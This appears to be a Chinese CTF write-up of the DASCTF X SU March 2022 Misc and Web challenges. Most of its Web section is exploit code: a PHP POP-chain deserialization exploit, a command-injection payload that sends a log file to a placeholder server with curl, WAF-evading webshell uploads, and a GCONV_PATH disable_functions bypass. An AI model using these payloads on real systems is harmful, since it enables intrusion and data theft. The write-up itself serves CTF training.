2022DASCTF X SU 三月春季挑战赛 ALL Misc&Web
字数 954 2025-08-07 08:22:33
DASCTF X SU 三月春季挑战赛 Misc & Web 题解
0x01 Misc 月圆之夜
题目分析
- 题目提供了魔文对照表链接:魔文对照表
- 流量包分析发现上传了
jenkins_secret.zip
解题步骤
- 提取ICMP流量中的zip文件:
tshark -r DASCTF.pcapng -T fields -e data.data -Y "icmp.seq<9 && icmp.type == 8" > 222.txt - 处理提取的数据,删除多余字符和末尾的
1337133711333377 - 使用
jenkins-credentials-decryptor工具解密:./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c ../credentials.xml -o json - 获得SSH私钥,修复格式后连接:
-----BEGIN OPENSSH PRIVATE KEY----- [修复后的私钥内容] -----END OPENSSH PRIVATE KEY----- - 使用
git log查看提交记录,回退到指定版本:git reset --hard 0084e77948215ec2abd031701ecbca87f1534264 - 解压得到的压缩包密码为
397643258669 - 处理PNG图片(字节倒序):
f = open('ZmxhZzQK.png', 'rb').read() flag = '' for i in f: flag += str(hex(i)[2:].zfill(2)) print(flag[::-1]) - 最后得到的字符串使用Malbolge语言解释器解密:
'&B$:?8=<;:3W76/4-Qrqponmlkjihgfedcbawv{zyxwvuts...'
最终flag
DASCTF{1_l0v3_m1sc_s0_much!}
0x02 Web
ezpop
题目分析
PHP反序列化题目,考察POP链构造
解题步骤
-
分析POP链:
fin::__destruct → what::__toString → mix::run → crow::__invoke → fin::__call → mix::get_flag -
构造exp:
<?php class crow { public $v1; public $v2; } class fin { public $f1; } class what { public $a; } class mix { public $m1; } $o = new fin(); $o->f1 = new what(); $o->f1->a = new mix(); $o->f1->a->m1 = new crow(); $o->f1->a->m1->v1 = new fin(); $o->f1->a->m1->v1->f1 = new mix(); $o->f1->a->m1->v1->f1->m1= "\r\nsystem('ls /');"; echo urlencode(serialize($o));
calc
题目分析
Python Flask应用,存在命令注入漏洞
解题步骤
- 利用反引号执行命令:
/calc?num=123%23`ls%09/` - 读取日志文件:
/calc?num=123%23`curl%09-T%09/tmp/log.txt%09your_server:port` - 获取flag
upgdstore
题目分析
PHP文件上传漏洞,存在WAF绕过
解题步骤
-
上传两个PHP文件:
- 第一个:base64编码的一句话木马
<?php echo('fil'.'e_get_contents')('/var/www/html/index.php'); ?> - 第二个:利用include+伪协议
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0xMS5waHA=")); ?>
- 第一个:base64编码的一句话木马
-
绕过disable_functions:
- 方法一:使用SplFileObject写文件
- 方法二:利用LD_PRELOAD
-
反弹shell:
putenv("GCONV_PATH=/tmp/"); show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
关键知识点总结
-
流量分析:
- 使用tshark提取ICMP流量中的数据
- 处理分块传输的数据
-
Jenkins解密:
- 掌握jenkins-credentials-decryptor工具的使用
- 理解master.key和hudson.util.Secret的作用
-
POP链构造:
- 理解PHP魔术方法的触发条件
- 掌握复杂对象链的构造方法
-
命令注入绕过:
- 反引号在Linux中的使用
- 利用注释符绕过限制
-
文件上传绕过:
- 字符串拼接绕过WAF
- 伪协议的使用
- disable_functions的绕过方法
-
特殊编码:
- Malbolge语言的识别和处理
- 字节顺序的处理技巧
这份文档涵盖了比赛中的关键解题思路和技术要点,适合作为CTF训练的教学材料。